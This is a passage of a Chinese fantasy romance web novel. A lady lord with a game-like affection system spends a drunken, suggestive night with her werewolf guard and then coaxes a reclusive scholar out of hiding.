木材有条不紊地从森林运到码头沿岸的高地,那里有人负责将其修裁成适用的尺寸;不远处临时铺设的石板路上,一个小队正在做碎石的工作;与此同时,几名士兵正在沿岸巡逻,确保这里的一切都按照领主的旨意进行。 码头已经初见雏形,超乎所有人的预料,如果不是第一天西蒙管家故意拖延,还真的有可能在三天时间完成。 只有艾米知道,这是雷尔夫的建设加成在起作用。 不过在其他人的眼中,这是新来的领主大人高深莫测的一部分。 自从第一天她砍了西蒙的脑袋,各项事宜的推进都变得轻松了许多。 住在泥巴湾的人们常在私下议论,觉得这位小姐古怪又神秘,过来不仅不收税金,还先把码头和房子修好了。但长久以来被各种名目的税金洗劫了一遍又一遍的他们,还是怀揣着惴惴不安的心理,仍然提着心吊着胆等着她接下来会有什么指示。 卡特当然知道哈尔男爵把领地租给隔壁托利亚小镇领主的事情,但之后这位小姐就直接去王城参加舞会了,如果她在舞会上找了一位贵族订婚,那么泥巴湾的新领主将是那个男人。 所以卡特并不着急。 前两天,收到侄子乔治来信的时候,他还不以为然,觉得是这位小姐想路过巡视自己的婚前财产罢了,年轻的小姑娘,心思浅得他一眼就能看透。 再说了,这地方连他都不想多待,海风卷过退潮后留在滩涂上鱼的尸体,腐坏的味道又腥又臭,常年潮湿的烂泥巴地一脚一个深坑,肮脏的泥泞留在马靴上刷都刷不干净,谁会想待在这里呢? 所以,当卡特看到眼前的一幕时,心中的震颤可想而知,而当他得知乔治的管家西蒙被拖出去砍了脑袋后,更是大惊失色。 “你再说一遍,艾米小姐是怎么说的?”他擦了擦额头的汗,让乔治找个机灵的下人把那晚的事重新复述一遍。 “‘可是,如果西蒙还在这里待着,再来几个管家,恐怕都很难越过他来做事。’那位小姐是这么说的。” 仆从把艾米之前的话尽数复述,尤其是这句。 乔治不明白叔叔为何这么在意这句话,他用核桃大的脑仁想当然地说:“不过这位小姐对我很和善,还向您问好呢。而且,自从换了人来做事后,她也没有再发脾气,很好说话的。” 卡特一巴掌扇过去,打得乔治脑袋嗡嗡的。 “你懂什么!蠢货!”卡特气不打一处来,如果不是自己命不好只有女儿,何苦在这和这个比猪还笨的侄子多费口舌:“她这根本就是冲着我来的!” 乔治揉了揉脑袋,面露不解。 卡特挥了挥手:“算了,和你解释也没用。不过你说的也没错,她这个态度就是还有交谈余地的意思。” 毕竟更有经验,卡特很快也从上头的情绪里冷静了下来。 卡特没有蠢到要和她对抗,尤其是在这位领主展现了自己的手腕和能力之后,但是人就会有欲望,连圣殿的神官在光明神的润泽下都有欲望,这位领主小姐也不例外,金钱、美色她总有喜欢的东西。 像在她手下讨好处会比过去在哈尔男爵手下更难,但只想谋求现在的稳定的话,也不一定没可能。 想到这里,卡特又问起了和她随行的有哪些人。 “她带着一个瘦小的看不太出来年纪的女孩,我觉得有七八岁,但西蒙当时觉得她有十岁” “好了,还有吗?”卡特打断侄子无止境的跑题。 “你不觉得有可能是她的女儿吗?我听别人都这么说。”乔治觉得这个话题最劲爆,所以才反复提起。 卡特强忍着才没再一巴掌扇上去:“蠢货,你自己不会算算年龄?有可能吗?” 乔治缩了缩脑袋,本就因肥胖而短的脖子更陷进肉里看不出来了。 他想了想,继续说道:“她还有一个非常漂亮的贴身女仆。头发是淡金色的长发,眼睛像宝石一样深邃,眨眼的时候我感觉就像蝴蝶从我面前飞过” 卡特忍无可忍:“收收你的猪脑子!别在这发情!” 乔治瘪了瘪嘴:“除了她,之外,就是三个跟在艾米身后的男人,一个叫巴特,最近在码头监工。剩下两个,一个整天在房间里不出门,另外一个整天不见踪影。” “没了?”卡特皱眉。 “后来第二天,就来了一队士兵嘛,有个头发都花白的老头,好像是她的骑士。” 乔治三言两语就把剩下的人讲完了。 卡特知道他这个侄子的毛病,两只猪眼只盯着女人看,于是随手把刚才的仆从招来,让他再展开描述一下被乔治省略的三个年轻男人。 “房间里的那位,艾米小姐吩咐称他为亚兰阁下,每日只准在固定的时间打扫他的房间和送饭,除此之外一律不许人靠近;另外灰色头发的男人,听说叫雷尔夫,应当是艾米小姐的护卫。住在这里的几天,艾米小姐的所有加餐、房间清扫、以及每晚的热牛奶,都是他亲自去厨房和女仆间安排的。比起乔治大人刚才提起的金色头发女人,他更像是艾米小姐的贴身仆从。” 卡特很快意识到这两人对领主小姐来不一般。 “说详细点,这两人除此之外还有什么特点。” 仆从犹豫了片刻,似乎是纠结这算不算共同点:“这两人,都很英俊。” “什么?”卡特一时没听清。 仆从抬高了音量:“我是说,这两个人,都非常英俊。大人,您见过这两人就明白了,我所说的绝不夸张。” 看到仆从信誓旦旦的坚定目光,卡特转头质问乔治:“这么重要的事情,你刚才为什么不说?” 乔治想要辩解又不知从何说起,最后还是下意识缩了缩脑袋,嗫嚅着说道:“我我不知道啊这有什么重要的。” 卡特想说你知道个屁,又觉得继续骂下去也没任何意义。只好招了招手让仆人退下,身体前倾靠近侄子乔治,压低声音说:“这说明,这位艾米小姐就喜欢长得好看的男人。” “这不就找到能讨好她的方向了么!” 乔治恍然。 也是,如果有人把年轻漂亮的女儿送来他庄园做女仆,他也不介意帮那人还清欠老汤姆的金币。 “这就好办了。”卡特边整理思绪边喃喃自语,他在永夜城也没和贵族们打交道,知道很多离了婚的太太的府上,养的全是年轻力壮的男仆,不仅如此,靠着丈夫的遗产,还有很多年轻但落魄的贵族少爷愿意成为她的裙下之臣。 “把女仆长和男仆长叫过来,我有事要吩咐他们。”- 艾米会见卡特总管的时候,对方的态度很是谦卑。 这在她的意料之内。 如果连这么明显的威胁都看不出来的话,那么他也没法在这个职位上做这么久。 不过艾米暂时还不想处置他,巴特还需要时间成长,而自己也需要时间招募士兵,扩充护卫队,以及怎么花乔治的家产,顺便把村里的路给铺了。 ——她已经想好了,铺路的钱也要从乔治的兜里掏,而至于海水养殖场地的搭建,就让卡特总管多费点心吧。 只要卡特不故意拖后腿,她也不介意多留他一段时间。 一场表面上宾客尽欢的晚宴结束了。因为卡特存了讨好之意,所以今晚的酒是从地窖取来的已经藏了三十年的佳酿。 带着黑加仑和成熟樱桃的芬芳,口感丝滑又紧实,除了浓郁的果香外,还有一丝细微的香料风味。 确实是好东西,艾米忍不住多喝了点。 等她回到房间时,酒精的作用才悄然浮现,一种轻松愉悦的微醺缓缓涌上脑袋。 精灵今晚没喝酒,于是艾米把莉亚送去了罗莎的房间,让她今晚照顾小姑娘。 半精灵看到小姐脸颊泛起的红,关心地问道:“您感觉还好吗?需要我叫女仆来吗?” 艾米摇头。 不知为何,她忽然想起米迦尔被一杯低度数的苹果酒灌倒的超绝酒精不耐受体质,然后忍不住笑了一下。 看到小姐飘忽不定的眼神和莫名其妙的笑,罗莎更笃定她已经喝多了。尽管小姐拒绝自己唤来庄园的女仆,但半精灵还是决定等下和雷尔夫说一声。 回到房间,艾米松开了领口的扣子,推开窗户让夜晚的凉风吹进屋内。她躺在沙发上,微微后仰,思绪游荡,难得享受这片刻的放松。 就在这时,门口传来了一阵敲门声。 她以为罗莎还是叫来了女仆服侍自己洗漱,本想拒绝,却因为四肢的慵懒而变了主意。 “进来吧。”她高声应道。 房门打开了,艾米眯着眼睛,过了几秒钟才有些迟钝地发现是个不认识的男仆。 “站住,你是不是走错了?” 男仆很听话停在了距离沙发还有几步路的地方,他将用来醒酒的牛奶放在旁边的桌上,单膝半跪,规规矩矩地行了个礼。 “艾米小姐,请允许我服侍您洗漱。” 这都什么跟什么啊。 艾米立刻明白了卡特的心思。 她有些无语地闭眼揉了揉眉间,刚想张口让他滚出去,却在下一秒睁开眼看到出现在门口的雷尔夫。 她的目光隔着半开的房门和他对视 可以解释的,真的。 第55章 第55章发。情的狗是没有节制的…… 不知道为什么,艾米有点害怕雷尔夫生气。 实际上,雷尔夫从没对她生过气,这种担忧完全是没有依据的。即使是那次在迪特克的晚宴上沾染了布利斯的气味,雷尔夫也依然展现出了良好的自制力。如果不是她主动敲门关心他的状态,又叠加了月圆之夜的影响,可能第二天太阳升起后,青年还会像往常一样向她问好。 当然,也正是因为对方这种良好的自制力,艾米不可避免地在面对他时总是心怀愧意。 但今天,在酒精的作用下,这愧意之中还夹杂着一种难以分辨的、似乎是期待的微妙情绪。 “出去。”艾米随手从桌面捞了盏茶壶,掀起眼皮冷冷朝半跪在地上的男仆砸去。 茶壶正正砸在男人的额头,伴随着清脆的破碎声,瓷片溅落在他的面前。男人吓得浑身颤抖,他见过西蒙是怎么被拖出去的,知道惹恼面前这位大人的后果是什么,因此连一句辩解的话都没敢多说,就低着头连滚带爬地往门外退去。 雷尔夫仍然站在原地,走廊昏暗的光线将他的大半面庞掩住,若隐若现的高耸眉骨带上一丝迷人的冷意。他没有进来,安静垂眸的样子就像某种需要得到主人应允才能进入房间吸食灵魂和血肉的魔鬼,无言地引诱着屋内的人。 艾米也没有说话,她慵懒地靠在沙发上,领口微敞,露出白得晃眼的细腻的小片肌肤,用酒鬼的那种无所顾忌的眼神打量着站在门外的青年,水润潋滟的眸子肆无忌惮地掠过他亚麻衬衣下的腰腹,强壮的胸肌,还有优越的高耸眉骨。 “为什么不进来呢?”她没察觉自己喝醉酒后声音里明显的甜腻,好奇地问:“你是在等我的邀请吗?” 阴影中的青年声音紧绷:“您喝多了。小姐,我会叫女仆过来打扫——” “为什么要叫女仆?” 艾米打断他的话,不高兴地从沙发上站起来,直勾勾地看着对方说:“我不想要其他人进来。” 她不知什么时候蹬掉了鞋子,只穿着袜子踩在地毯上,刚刚砸碎的茶盏瓷片还散落在附近,稍不注意就可能踩上去。 “别动。”雷尔夫忍不住大步迈了进来。 他轻叹了口气,手臂环绕艾米的腰臀,一把将她抱起重新放在沙发上。 “在这坐一会,等我把地毯收拾干净,好吗?” “好。”艾米伸手想摸他凑近的鼻骨,却醉醺醺地反应慢了半拍,被他躲了过去。 反射弧绕了整整一周后,她才想起反悔。 “不好。” 雷尔夫已经将地上肉眼可见的碎瓷片收拾起来丢进了垃圾桶,此刻正用手心的肌肤按压,检查地面是否还有残留的碎渣。 “嗯?” 听到这没头没尾地一句,他疑惑地抬头,只看到沙发上将自己团成一团的小姐,用水润的眸子直勾勾地盯着自己,脸热得涨红,像熟透了一样。 思绪因为眼前的一切而混乱。 “不好。”艾米又说,她的语速开始变慢,歪着头问:“刚才为什么不进来呢。” 雷尔夫的嗓音因为隐忍而难掩喑哑:“小姐,明晚就是月圆之夜了,你现在不,我现在无法很好地控制自己。” 艾米轻笑,她招手唤他过来:“你会伤害我吗?” 雷尔夫再次躲开了她的触碰,垂眸小声回答:“不会。” 艾米酒劲上头,带了恼意:“没有我的允许,你不许躲开。” 她抓住青年的衬衫,用力将他带到了沙发上,衣服在拉扯中散得更开,对两人来说都是如此。 一双柔软的手掌从衬衫下摆伸了进来,作弄地在胸肌上乱摸,雷尔夫感觉喉咙发干,动物本能和人类理智之间的挣扎几乎要将他整个撕碎。 “您最好不要对我这么放心。”他合上了眼,尽力让自己别去看眼前的春色:“我是狼人,小姐,我有一半的血液还是未开化的野兽。” 手从衬衫下抽了回来。 艾米半靠在他的臂弯,眼角泛红的水润眸子比刚才更兴奋:“想看尾巴和耳朵,变出来给我揉一揉好不好?” 雷尔夫很少拒绝她。 “今天不行。” “为什么?”艾米问。 “今天不行。”雷尔夫甚至带了点恳求:“等月圆之夜结束好吗?” “不好。” “今天很危险。小姐,兽化后我不确定能否控制自己的理智。” 艾米觉得有些不高兴,今晚雷尔夫一直在拒绝她,这让她有些挫败,还有些烦躁。 她赌气地说:“你不需要控制,怎么样都可以,全是我允许的。” 雷尔夫的眸子沉沉地看着艾米,想从她的眼中进一步确认。 “你喝醉了。” “我没有。”艾米环上他的脖子,手指在他的脖颈间刮来刮去,让他忍不住小腹紧绷。 过了片刻,雷尔夫才反应过来,她正在假装解开他脖子上的项圈。 “真啰嗦。”艾米低声嘟囔着。 “咔—”她甚至模拟了锁扣打开的声音,然后像是在捏着什么,把假装存在的项圈小心地端起,放在了一旁:“好了。” 她的眼睛润润的,期待地看着他:“现在变给我看吧。” 身体的反应比一切理智都快。 被湿润的眸子看那么一眼,雷尔夫的头发下立刻就不受控制地探出了毛茸茸的狼耳。 艾米惊喜地嗷呜了一声,就像小孩到手了新奇的玩具,玩得不亦乐乎,不肯松手。 “尾巴也变出来给我玩一玩吧。” “嗯。” 他被揉捏得理智几乎要崩盘,以至于发出的所有声音都像呻。吟。 艾米伸手去够青年的尾巴,整个身体都扑进了他的怀里:“你喜欢我这样吗?” 她坏心思地掐了掐他的尾巴根,听到耳边传来一声闷哼。 雷尔夫突然反扣住了她的胳膊。 “别这样,小姐。”他哑着声音求饶:“我怕我会伤害到你。” 好啰嗦。 艾米盯着他看了片刻,仰头堵住了他的嘴。 几乎是下一秒,雷尔夫用力抵住她的后颈,用一种野兽般掠夺性的吸吮加重了这个吻。 脊背的酥麻瞬间炸开。 她的手指紧紧抓住他的衬衫,已无暇顾及自己散开的上衣,雷尔夫的手掌正从她裸露的后腰探了进来,粗糙的指腹划过皮肤整个灼烧起来。 艾米没经历过这么侵略性的吻,招架不住唇舌的勾缠,只能用力抵着男人的胸膛,呜呜咽咽地抗议着。 雷尔夫终于松开了她的唇,却紧接着将目标转到了她的脖颈,一下一下轻轻啄着她因为汗湿黏在上面的发丝。 “小姐。” 他掐着她的腰把人整个抱在自己的腿上,用健硕的手臂用力环着她。 艾米意识不清地应了一声。 雷尔夫俯身看着她失神的双眼,无法抑制地想将她全身涂满自己的气息。 “发。情的狗是不懂什么叫节制的,小姐。” 他咬着她的耳垂,喘着粗气说。 第56章 第56章半兽化预警。 雷尔夫似乎很喜欢叼着她的后颈肉,不断地舔舐那块皮肤,偶尔忍不住时还会轻轻咬上两口,就像自己脖子后有什么腺体一样。 艾米迷迷糊糊地想。 还是说,那里 真的会有什么特殊的信息素,只有鼻子灵敏的狼人才闻得到? “小姐,请专心点。”雷尔夫毛茸茸的脑袋伏在她的侧颈处,不满地用力,想夺取怀里女孩所有的注意力。 “唔——”艾米试图辩驳:“我没有。” 男人咬着她的耳朵发出好听的声音:“那么,您刚才在想什么?” “唔我只是好奇你总是啃的”艾米伸手牵起雷尔夫的手指,贴在自己的后颈:“这里。有什么特别的吗?” 粗糙的指腹打着圈地轻揉着那块地方,男人的呼吸变得沉且急促,似乎只是这样抚摸着就能获得极大的满足。 他喉结滚动,压下心头的欲念,声音沙哑地一带而过:“并没有什么特殊的。我弄疼你了吗?” 艾米摇头。她把脑袋搭在雷尔夫的肩膀上,朝他的兽耳吹气,看着竖起的灰色毛茸茸耳朵抖动,再伸手按住它们。 “但是,动物不都是这样的吗?”她语气轻松愉悦:“会这样叼着伴侣的后颈,来让对方在交。配的时候不会逃跑。” 手心的耳朵滚烫得直发抖。 艾米似乎是觉得还不够,手中的玩弄继续不停:“我还以为是这个原因,所以你才总喜欢含着这里。” 雷尔夫没说话。 他捉住艾米的手腕,将它从自己的耳朵上取下来,顺着往下贴在了脸颊上蹭。 “别问了。” 他温柔且珍重地把她的手指拿到唇边一根一根地亲吻,眼神却晦暗不明地盯着她一张一合的柔软唇瓣,就像吻的并不是手指,而是其他的什么。 “你确定想在这里听我的回答吗?” 艾米想抽出手,却被他用力扣住手腕,五指不由分说地从指缝插进去,被牢牢地钉在原地。 雷尔夫轻笑着,不紧不慢地低声询问:“所以,你想在这里,听我对你的幻想是吗?” 看到艾米一副强撑着的镇定,男人忽然觉得心情很好。 “把你固定住,不需要这么麻烦。”他拉着小姐的手按上自己的胸口,用力摸了两下:“这样你就不会逃跑了。” 掌心的触感软弹,心脏隔着肌肉咚咚直跳,艾米甚至一时分不清掌心传来的酥麻是他的心跳还是身体起伏带来的震颤,她有些脱力地抓住对方的衣服,大脑的思绪都被接二连三地甩了出去。 小姐的注意力又重新回来了。 雷尔夫垂眸观察着她,鼻尖充斥着香甜的气息,体内的破坏欲比以往任何时候都更为兴奋。 身体的变化先一步出现。 男人拢在她腰间的手掌不知什么时候变成了狼爪,厚重的肉垫凭空出现,正隔着衣服轻抚着她的脊背。 艾米被这变化吓了一跳,瞬息之间,她手里揪住的就不是亚麻衬衫,而是狼后背的毛发。 “抱歉。”雷尔夫伸手捂住了艾米的眼睛,带着几分无奈:“别看。” 艾米不依不饶地想从狼爪的桎梏中挣脱,却被男人紧紧按住身体。 “小姐,我不想伤到你。” 雷尔夫收了爪子,但仍不可避免地划开了她的衣服,他焦躁不安,逐渐显出比平常更冒失和冲动的一面。 “别再挣扎了。” 他的力气越来越大,语气越来越急,艾米被捂住了眼睛,只能从声音猜测他现在的状态。 她想起最开始月圆之夜他完全变身后,自己安抚他的手段。于是开始依葫芦画瓢地抚摸他的后背,小声和他说话,想让他尽快恢复。 但这一切举措不仅无济于事,反而有火上浇油的势头。 “没用的。” 艾米听到男人不再隐忍的粗鲁呼吸,剧烈的心跳贴紧她的躯体。 “幸好夜晚还长天亮前,这一切会结束的” 她又被叼着了后颈- 布利斯整个晚上都无法入眠。 小腹的印记从入夜后就开始烧灼。 他坐在阳台,一杯接着一杯喝着冰水。 月光洒进阳台,像冒着寒气的火焰,烧得他又冷又痛,攥着杯子的手指被冰水冻得僵直,无法蜷缩。 但也只有在冰块的镇定之下,他才能从亢奋的神经发热之中保持清醒。 这和他经历过的每次发。情期都不同,也和每次因饥饿而带来的燥热不同。 因为这是艾米的感受。 布利斯无法不去想现在是谁在给予她这份欢愉。 答案显而易见。 作为混血魅魔,他一直痛恨自己的种族,不受控的进食欲望让他觉得恶心。 因此从少年起,他就一直在追求冷静平稳的状态,竭力用人那一半、而不是魅魔那一半的理性来处理自己的情绪。 他希望保持“体面”。 ——即使在渴求食物的时候,布利斯也希望能用被法律认可的婚姻、或退而求其次的契约来链接他俩。 但现在,他忽然不想要这份体面了。 他就应该用胁迫、用交易或一切能实现目的的手段绑住她。 第57章 第57章喝酒还真是误事。 清晨的厨房比太阳更早升起炉火,虽然外面夜色还浓,但这里下人们已经陆续起床,开始准备老爷们的早餐。 “您是说,艾米小姐想要一杯热牛奶?”厨房的托尼揉了揉眼睛问。 雷尔夫点头。 “好的,大人,我等下”托尼还未完全醒来,眼睛有点睁不开,因此说话时有点迟钝。 青年彬彬有礼地打断了他的话:“不必,我在这等着牛奶和热茶水就好,等下我会自己端上去。” 大概是这位小姐不习惯其他不熟悉的下人吧,托尼没再多想,转身去忙自己的事情了。 几分钟后,端着牛奶回来的雷尔夫,看到之前想喝水的人已经在鹅绒被的包裹中昏睡了过去。 床头的灯还亮着,静谧温柔地落在她的脸上,发丝散落在酒红色的绸缎枕面,像一朵绽放的花。 青年俯身半跪在床边的厚绒地毯上,密实长绒的包裹感令他想起刚才在这里发生的事情。他深呼吸平复心情,抬起手掌轻轻贴在女孩柔软的脸颊侧,小声唤她:“小姐。” 长长的睫毛微颤,一阵抖动后无力地睁开了一点,带着浓浓的鼻音嗯了一声。 雷尔夫的喉结滚了一圈,手指忍不住又滑向了她后颈的软肉。 艾米借着力起来了一点,扶着青年的手腕闭着眼睛小口喝水。 “雷尔夫。” “嗯?” “不要像捏小猫一样捏我。” “好。” 手指有些遗憾地松开。 “还有别的吗?”他又问。 艾米喝饱了水,迷迷糊糊地掀开眼皮:“别的什么。” “还有别的我哪里没有做好的地方吗?”雷尔夫问得很耐心。 露出来的肩膀有点冷,艾米因此抽了抽鼻子,又缩回了鹅绒被里团成一团,闭上了本就没怎么睁开的眼睛。 就在雷尔夫以为等不到回答的时候,小姐忽然揪住了他扶在床边的手指,柔软的掌心讨好似的蹭了蹭他的骨节。 “没有了。”她含糊不清地说,耳根红扑扑的,像是昨晚的酒意未散。 雷尔夫感觉自己的心底软成了一汪春水。 “那么,请您好好休息。” 青年熄灭床头的灯,眸光却仍然贪婪地停在原地- 彻底醒来后已是午后。 艾米躺在床上,一时有些混乱。 昨晚她喝得并不算很多,所以今早也并没有宿醉后的头疼。 大脑很清爽,但受罪的是其他地方。 怎么说昨晚也有些太过了。 不过,以艾米对系统的了解,这种程度的接触的话,应该会有新卡了吧。 她照例点开屏幕,果然在首页看到了一张新的卡面。 半兽化的雷尔夫叼着她的后颈,有力的手臂紧紧扣住她的腰,就像要把她揉进身体里一样。 嗯,这是 一张只有两人上半身的卡面。 看来系统也不能为所欲为啊。 被精彩的卡面吸引了注意力,艾米现在才想起来看一眼最重要的技能描述。 【醉兽潮热】 品质:S 技能:使用后能够变身为狼。 生效时长:六小时。 艾米忽然发现了S卡的一些相似之处。 就是都和可攻略对象本身有关。 比如上张【不渝之约】,就是能获得和布利斯同等水平的魔法技巧十分钟。 但这张卡也有些太莫名其妙了。 她想破脑袋也想不出来自己在什么情况下会有变成狼的需求。 算了,本来这也是乙女游戏,连商店的药剂都莫名其妙的,更别想指望约会卡附带的技能有什么实际用处了。 就在艾米准备关掉屏幕时,她突然发现了不对劲。 雷尔夫的好感度升到了90。 不仅如此,他的动态立绘边框变成了金色。 艾米沉思。 如果说,睡一觉就能突破的话,布利斯的好感度也不会一直卡在85了。 难道是睡得不够多? 等等,如果是这样的话,这款全名为【心动时分~幻想大陆的罗曼蒂克冒险之旅】该不会是个乙向黄油吧? 大概是艾米的震惊太过强烈,系统都忍不出久违出来辩驳。 “我们是一款为收集爱意而诞生的正经游戏!” 艾米:“也对,毕竟刚才那张卡面都只有上半身。” “所以这5点好感度,到底是因为什么才增加的?” “涉及游戏攻略,请宿主自行探索。” 冷冰冰的一句回复后,又没了声音。 艾米只好先把这个放在一边。 另外一个新消息是,在雷尔夫的好感度达到90解锁lv4【快速扩张】后,角色信息上一直显示“尚未解锁”的lv5终于刷出来了。 【雷尔夫】 【种族:狼人】 【好感度:90】 【技能:建设】 lv1:成本控制 好感度达到60后,领地内建筑成本降低30% lv2:效率至上 好感度达到70后,领地内建筑速度提升30% lv3:可靠的家 好感度达到80后,领地内建筑质量提升100%。 lv4:快速扩张 好感度达到90后,领地内建筑成本降低50%、建设速度提升50%、建筑质量提升200% lv5:五分之一 好感度达到100后,获得碎片一枚,且技能加成永久固定。 “好感度达到100后,获得碎片一枚。” 艾米翻遍屏幕也没明白这是指什么的碎片,而系统也很明显没有想要解答的意思。 但后半句“技能加成永久固定”她是看懂了的。 也就是说,那个时候,雷尔夫所提供的加成不会再因为好感度的波动而同样波动,效果将永久固定。 这么看来,系统还算良心。 至于碎片集齐后会怎么样,既然暂时没有线索,艾米决定不再纠结。 打理好这一切后,她终于挣扎着从床上起来。 因为不习惯用贴身女仆,所以很多事情她都是自己来。 而就在她对着镜子系上衣裙腰间的绸缎时,有什么事情似乎从她的脑海中一闪而过 她是不是忘了什么? 艾米停下手中的动作,对镜思考,努力回忆。 “小姐?”门外响起罗莎的声音,伴着咚咚咚的叩击声:“您醒来了吗?” 艾米正欲张口应声,刚才一闪而过的回忆却在这时猝不及防地翻了出来。 她想起来了。 亚兰这几天都在房间绘制网箱和排筏的图纸,编纂整理适合这里养殖的海产种类以及一些注意事项,因此艾米提前和他约好,今天会去他房间拿手稿,并一起喝茶吃早餐。 艾米深吸一口气,看向屋内的座钟,上面的时间距离早饭时间已经过了三个多小时。 可恶。 喝酒还真是误事。 第58章 第58章生气的男人睡一顿就会好…… 在听到小姐回应的声音后,罗莎抱着一捧文稿,蹑手蹑脚地推开门闪了进来。 配合她那偷感极重的表情,就像做贼一样。 ——不不,艾米很快甩掉了这个比喻。从莉亚身上来看,一个成熟的专业的贼更需要避免这种鬼鬼祟祟的神态。 想到这里,她先问起了那女孩的情况。 罗莎表示,十分钟之前莉亚正在房间里老老实实地写字,但现在的话就不好说了。 “小姐,比起这个,我觉得你眼下有更值得关心的事情。”她欲言又止。 艾米大概猜到是什么,她在心底叹了口气,有点不想面对。 “亚兰的事?” 半精灵立刻点头。 让亚兰出现在餐厅和一群人吃饭对他来说和酷刑几近无差,因此他的一日三餐皆由女仆送至房间。为了刷每日的羁绊值,艾米常在午后去他的房间处理一会工作,直到喝完下午茶再走。考虑到今天约的是早餐,而自己又消失到现在还未出现,所以领主小姐大胆猜测:“是不是他今天到现在还没吃饭?” 罗莎面露疑惑:“吃饭?吃什么饭?” 艾米皱眉:“那是什么事?” 罗莎漂亮的杏仁眼不自觉微微上翘,笑意在瞳仁中荡起,狡黠的意味一览无余:“啊小姐,这件事要如何说起呢?” “那么,您一定不知道,今早亚兰阁下来敲您的房门,却是雷尔夫从里面开的吧?”她停顿片刻,像是有意观察小姐的表情:“雷尔夫当时衬衫扣子散到这里。” 罗莎用手在胸前比划着,眉飞色舞地继续说道:“然后他说,如果没有特别重要的事情的话,最好中午之前都不要打扰小姐休息。” 艾米想到那个画面,忽然感觉头有点疼。 好消息,不用再绞尽脑汁为今早爽约找借口了。 但坏消息,这个借口还不如不找。 罗莎顺势将怀里的文稿递过来:“然后呢,亚兰就把这些给我了,当然我是不明白他为什么不当时就顺手交给雷尔夫,还要专门过来找我,但总之,他说让我把这些给你。” 艾米接过来,忐忑问:“他他说话时什么样子?” “脸色苍白。”不假思索说出口后,罗莎瞥到小姐脸色不妙又飞快补充:“不过考虑他平时也常这样,所以也不一定真的很严重。” 没错。 艾米看了一眼亚兰的面板,自我安慰中。 既然好感度都没有大幅波动,那就应当不是什么大事 吧?- 站在亚兰的房门外,艾米深吸一口气才敢敲门。 屋内不出意料地一片安静。 往常她都是直接推门进去,但今天不行,因为门被从里面反锁了。 “是我呀。”艾米发誓她这辈子都没想过从自己的嗓子里还能发出这么谄媚的声音:“开下门好不好?” 里面仍然没有任何回应。 甚至连翻动书页或拖动椅子这种能证明里面人还好好活着的声音都没有。 怪不得是是能靠在屋内七天不出来躲避学塔总管处抽签的亚兰阁下,此时此刻,艾米终于能体会到他那两位可怜的助理学士的心情。 没事找他的时候,这种连呼吸声都听不到的阴湿蘑菇很适合作为工作观赏绿植放在屋内,但有事找他的时候,这种非暴力不沟通的态度就变得令人抓狂。 “拜托了,让我进去吧?”艾米不死心地做最后的尝试 ,敲门的动静甚至引来了路过仆从的注意。 看到女仆好奇打量的目光,她尴尬得恨不得想和墙面融为一体。 “下午茶是吗?放在这里就好。” 亚兰听到屋外传来餐车受力撞到墙壁的闷响。 “不不不,不用,你去忙别的吧。” 女仆似乎说了什么,但很快被艾米拦下了,餐车上挂起来的瓷器茶杯晃动,碰到银质勺子的声音清脆悦耳。 亚兰的注意力全在门外,叮叮当当的声响像碎瓷片洒满心尖,既针扎似地疼又酥酥麻麻地泛起痒。 他深吸一口气试图平复自己不知何时过速的心跳,再次侧耳倾听时,门外恢复了安静 她走了吗? 亚兰用力合上了面前的书,莫名生出恼意。 她就这样走了? 这么轻飘飘地敲了几下门没有回应后,就直接走了? 自己对于她来说是什么?难道就只是养在房间里的宠物吗?还是说,自己只是一条有点用处,却不需要花心思对待的、连犬吠都没有的狗。 恼意密密麻麻地在胸膛点燃着,亚兰第一次意识到自己现在升起的这股情绪叫愤怒。 某种意义上来说,他的直觉很准。 从第一次闻到她的味道时,不,从第一次被她的味道蛊惑到时,亚兰就从中嗅到了危险——就像踏入巫师的帐篷,若隐若现的草木香气会带来的令人不妙的谶言。 在贵族史书中,几乎每个陨落的古老家族都有过这样的谶语。 “伟大的狮子将在日落后死亡”、“龙的后代会拥有全世界的财富,然后在连绵春日的雨夜中消散”、“玫瑰会孕育出三个强壮的孩子,但只有最羸弱的那个才能活下来。” 等等,诸如此类。 明明已经闻到了不安的草木灰香气,为什么还要留在那里听完巫师的预言呢? ——大概是即使已经感到了不安,也会忍不住期待翻开的是惊喜吧。 亚兰想,他通过艾米懂了太多自己之前无法理解的、关于人类情感的知识,包括这个。 她确实很危险。 她会带来快乐和甜蜜,也会带来痛苦的烧灼,这二者初尝迥然,实际上是同一个滋味。 忽然,亚兰就像无处发泄般猛得站了起来,他环顾四周,第一次觉得只有自己一个人待着的房间寂静得过分。 这里太空旷了。 空旷得连呼吸声都如此明显。 他思考着,努力为自己情绪的变化寻找解释和解决方案。 他需要一个更狭小的环境重新专心下来。 经过分析之后,亚兰最终得出这样的结论- 十分钟后,艾米带着莉亚重新回到亚兰的门外。 小姑娘随手取下头上的发卡,娴熟地含在嘴里咬了咬。 “嗯你不需要一些别的工具吗?”艾米好奇地问。 “不用。”莉亚伸出小小的手掌贴在门锁上摸了一把:“这是最简单的结构。” 艾米看着她另外一只手把含在嘴里的发卡取下来,伸进去轻轻拨弄了几下。没过多久,伴随着两声急促的咔哒声,莉亚用力一提,门就被她不费劲地打开了。 小姑娘得意洋洋地把发卡重新别到头上:“好了。” “别——”艾米阻止她几乎是下意识地弓下身子想往里面钻的动作:“可以了可以了,我只是来找亚兰先生有点事,咱们不是来偷东西的,不用这样。” “不好意思。”莉亚这才后知后觉地退了回来,然后小心地看着艾米的脸色:“那么,剩下的两页抄写” “玩去吧,今天的功课结束了。”艾米点点头应允了她。 小姑娘立刻一溜烟地从她的胳膊下跑没了影。 屋内空无一人,最起码第一眼看上去是这样。 艾米顺手把餐车推了进来,然后带着疑惑合上了门。 房间里很整理,她缓缓走到亚兰的书桌,上面连未完成的文稿都井然地分列摆得一目了然。 其中一叠厚厚的纸是关于精灵血脉对种植的影响,他在砂砾土地几个字上画了一个圈。 艾米没和他提过这件事,有了布利斯的农业加成,她不再担心今年的农业收成。应当是罗莎和他说的,因为自己在面试罗莎的时候提过的要求,那时她没想过能这么快攻略下布利斯。 亚兰知道自己关心什么,他很聪明,聪明人总能一眼看出其他人的需求。很多时候,他的直觉都很准,但那可能并不是直觉,他只是太快得出了结论,而略过了推理的部分。 他还在这间屋子里。 艾米的视线扫过衣柜,顺着落在了旁边的床上。 毯子不见了,不仅如此,上面还少了一只枕头。 她从这场捉迷藏中找到了新的乐趣。 “人呢?”艾米抬高了音量,却蹑手蹑脚地朝浴室的方向走去:“奇怪,不在房间里了吗?” 她装作疑问的语气,而后迅速地拉开了浴缸前的帘子。 果然,就像她所猜的那样,亚兰紧紧裹着毯子,整个人背对着门口缩在浴缸里。 